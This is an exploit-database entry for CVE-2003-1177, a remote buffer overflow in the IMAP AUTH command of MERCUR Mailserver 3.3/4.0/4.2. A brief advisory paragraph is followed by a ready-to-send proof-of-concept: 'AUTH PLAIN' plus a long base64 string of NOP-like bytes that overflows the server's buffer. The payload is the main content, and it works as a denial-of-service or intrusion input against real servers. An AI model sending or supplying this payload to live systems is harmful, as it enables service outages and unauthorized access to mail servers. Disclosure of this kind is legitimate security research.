Atrium Software Mercur MailServer 3.3/4.0/4.2 - IMAP AUTH Remote Buffer Overflow

Author: Kostya KORTCHINSKY
type: dos
platform: windows
port: 
date_added: 2003-10-20 
date_updated: 2012-12-09 
verified: 1 
codes: CVE-2003-1177;OSVDB-55623 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/8861/info

A problem has been reported in MERCUR Mailserver when handling the IMAP AUTH command. The issue occurs when an overly long command is submitted, which may be due to a buffer overrun. This problem may make it possible for an attacker to gain unauthorized access to a vulnerable system.

On the IMAP port:

AUTH PLAIN
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ